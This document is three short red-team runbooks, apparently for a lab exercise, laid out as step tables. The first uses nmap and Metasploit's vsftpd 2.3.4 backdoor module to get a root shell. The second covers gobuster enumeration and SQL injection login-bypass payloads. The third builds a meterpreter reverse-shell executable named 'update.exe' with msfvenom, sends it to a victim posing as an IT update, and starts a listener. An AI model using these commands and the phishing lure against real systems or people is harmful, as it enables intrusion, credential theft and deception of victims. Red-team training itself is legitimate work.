Runbook 1

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Document Name | | IRTx Red Run 1 | Version | V1 | |
| Author | | Dylan Wondal | Date Created | 11/9/23 | |
| Attack Type | | Vsftpd backdoor | Last Modified | 11/9/23 | |
| Staff Required | | 1 Attacker | Skills Required | Nmap, Metasploit | |
| Document  Description | This document is to scan and attack a server that uses the vulnerable version of Vsftpd 2.3.4 that has a backdoor builtin | | | | |
| Step 1 | | Task | | | Complete |
| Scanning/Enumeration | | Perform an aggressive Nmap scan and enumerate all open ports and their headers to determine if there is the vulnerable service  nmap -sC -sV -oN init.scan $IP  Check outputs for the vsftpd 2.3.4 header | | |  |
| Step 2 | | Task | | | Complete |
| Prepare Metasploit | | Run the MSFconsole and select the vsftpd backdoor  use exploit/unix/ftp/vsftpd\_234\_backdoor  set targets – ip and port | | |  |
| Step 3 | | Task | | | Complete |
| Execute Payload | | Execute the payload and wait to receive the reverse shell | | |  |
| Step 4 | | Task | | | Complete |
| Connect to shell and have root | | The shell should automatically connect and you should have access, run id to ensure you have root | | |  |

Runbook 2

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Document Name | | IRTx Red Run 2 | Version | V1 | |
| Author | | Dylan Wondal | Date Created | 11/9/23 | |
| Attack Type | | SQL Injection | Last Modified | 11/9/23 | |
| Staff Required | | 1 Attacker | Skills Required | Nmap, SQLi, Web, Gobuster | |
| Document  Description | This document is to scan and attack a server that may have a vulnerable web page/login with SQL injection | | | | |
| Step 1 | | Task | | | Complete |
| Scanning/Enumeration | | Perform an aggressive Nmap scan and enumerate all open ports and their headers to determine if there is a web service running  nmap -sC -sV -oN init.scan $IP | | |  |
| Step 2 | | Task | | | Complete |
| Webpage enumeration | | Look through the webpage for a login page or a search bar.  This can be done manually or gobuster can be used  gobuser dir -u $WEB -w “/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt” | | |  |
| Step 3 | | Task | | | Complete |
| Test login page for SQLi | | Test the login for basic SQLi with the following payloads  ‘ OR 1=1; --  admin--  plus more <https://book.hacktricks.xyz/pentesting-web/sql-injection> | | |  |
| Step 4 | | Task | | | Complete |
| Perform PrivEsc once logged | | Once successfully logged in as admin, determine how to perform privesc and go from there. | | |  |

Runbook 3

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Document Name | | IRTx Red Run 3 | Version | V1 | |
| Author | | Dylan Wondal | Date Created | 9/10/23 | |
| Attack Type | | Phishing | Last Modified | 9/10/23 | |
| Staff Required | | 1 Attacker | Skills Required | Msfvenom, metasploit | |
| Document  Description | This is attack is a phishing attack where the attacker persuades the user to download the reverse shell created by msfvenom | | | | |
| Step 1 | | Task | | | Complete |
| Create malicious file | | msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=192.168.0.10 LPORT=9001 -f exe -o update.exe | | |  |
| Step 2 | | Task | | | Complete |
| Send file to victim | | Send file to victim with persuading text e.g. download update for software, email by IT team | | |  |
| Step 3 | | Task | | | Complete |
| Listen for shell | | msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse\_tcp; set lhost 192.168.0.10; set lport 9001; exploit" | | |  |
| Step 4 | | Task | | | Complete |
| Connect to shell | | Wait for shell to land, priv esc if needed | | |  |